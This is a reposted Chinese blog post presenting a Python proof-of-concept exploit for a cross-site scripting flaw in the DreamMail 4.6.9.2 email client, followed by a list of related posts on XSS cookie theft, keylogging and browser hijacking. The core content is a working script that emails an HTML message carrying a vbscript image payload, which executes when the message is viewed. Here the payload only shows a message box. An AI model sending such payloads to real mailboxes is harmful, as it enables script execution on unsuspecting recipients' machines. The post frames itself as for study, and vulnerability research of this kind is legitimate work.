Dreammail V4.6.9.2 XSS漏洞利用

转载请注明：@小五义http://www.cnblogs.com/xiaowuyi

针对版本： DreamMail 4.6.9.2
测试环境：windows xp sp3

python版本：2.6

测试邮箱：126.com

#-*- coding:UTF-8 -*-

#@小五义 http://www.cnblogs.com/xiaowuyi

import smtplib, urllib2payload = '''<IMG SRC='vbscript:msgbox("Hello world!")'>'''def sendMail(toemail, smtpsrv, username, password):msg  = "From: XXXX@126.com\n"msg += "To:YYYY@126.com\n"msg += 'Date: Today\r\n'msg += "Subject: XSS payload\n"msg += "Content-type: text/html\n\n"msg += payload + "\r\n\r\n"server = smtplib.SMTP()server.connect(smtpsrv)server.login(username,password)try:server.sendmail(username, toemail, msg)except Exception, e:print "[-] Failed to send email:"print "[*] " + str(e)server.quit()username = "XXXX@126.com" #也可使用其它邮件服务器
password = "XXXXX"  #密码
toemail = "YYYY@126.com"
smtpsrv  = "smtp.126.com"print "[*] Sending Email"
sendMail(toemail, smtpsrv, username, password)

发送成功后，当用dreammail浏览该邮件时，会弹窗提示，如下：

该博文仅供学习交流。

转载于:https://www.cnblogs.com/xiaowuyi/p/3281259.html

Dreammail V4.6.9.2 XSS漏洞利用相关推荐

xss漏洞利用方式总结
目录搭建XSS平台窃取cookie 抓取屏幕截图重定向植入广告恶意链接获取键盘记录网页钓鱼网页挂马搭建XSS平台首先,我们需要一个XSS平台,自己搭建一个还是使用在线的都可以,本人 ...
XSS漏洞利用---PHPMyWind 任意密码重置漏洞
[漏洞详情] 1.PHPMyWind是一套基于PHP和MySQL并符合W3C标准的企业网站建设解决方案,拥有着较大的用户群体(根据PHPMyWind官网介绍,已下载超15万次),受影响的版本是5.3- ...
【XSS漏洞-06】XSS漏洞利用案例（浏览器劫持、会话劫持、GetShell）—基于神器beEF
目录 1 案例简介 1.1 案例目的 1.2 案例环境 2 案例一:浏览器劫持 2.1 概述 2.2 案例步骤 3 案例二:会话劫持 3.1 概述 3.2 案例步骤 4 案例三:GetShell 4. ...
【XSS漏洞07】基于神器beEF的XSS漏洞利用实验（浏览器劫持、会话劫持、GetShell）
目录 1 实验简介 1.1 实验目的 1.2 实验环境 2 实验一:浏览器劫持 2.1 概述 2.2 实验步骤 3 实验二:会话劫持 3.1 概述 3.2 实验步骤 4 实验三:GetShell 4. ...
XSS漏洞利用之cookie获取
目录环境搭建盗取cookie httponly 刚学习xss的时候我们都知道只要能弹窗就肯定存在xss漏洞,也知道xss是可以盗取cookie的,但是至于怎么盗取cookie其实很多同学可能还不是 ...
XSS漏洞利用——键盘记录
实验环境:DVWA 实验原理:网页被植入xss脚本,普通用户访问此网页时,该用户在当前页面上所有的键盘按键都会被记录下来,并且发送到远端服务器实验步骤: 一.在服务器创建一个keylog.php文件 ...
搭建HTTPS XSS漏洞利用平台
目录功能: 升级方式:
web漏洞利用---XSS注入攻击
XSS漏洞简介 XSS注入漏洞又称为"跨站脚本攻击(Cross Site Scripting)",为了不和层叠样式表(Cascading Style Sheets,CSS)混淆,所 ...
CORS漏洞利用检测和利用方式
CORS全称Cross-Origin Resource Sharing, 跨域资源共享,是HTML5的一个新特性,已被所有浏览器支持,不同于古老的jsonp只能get请求. 检测方式: 1.curl访 ...

Dreammail V4.6.9.2 XSS漏洞利用

Dreammail V4.6.9.2 XSS漏洞利用相关推荐

最新文章

热门文章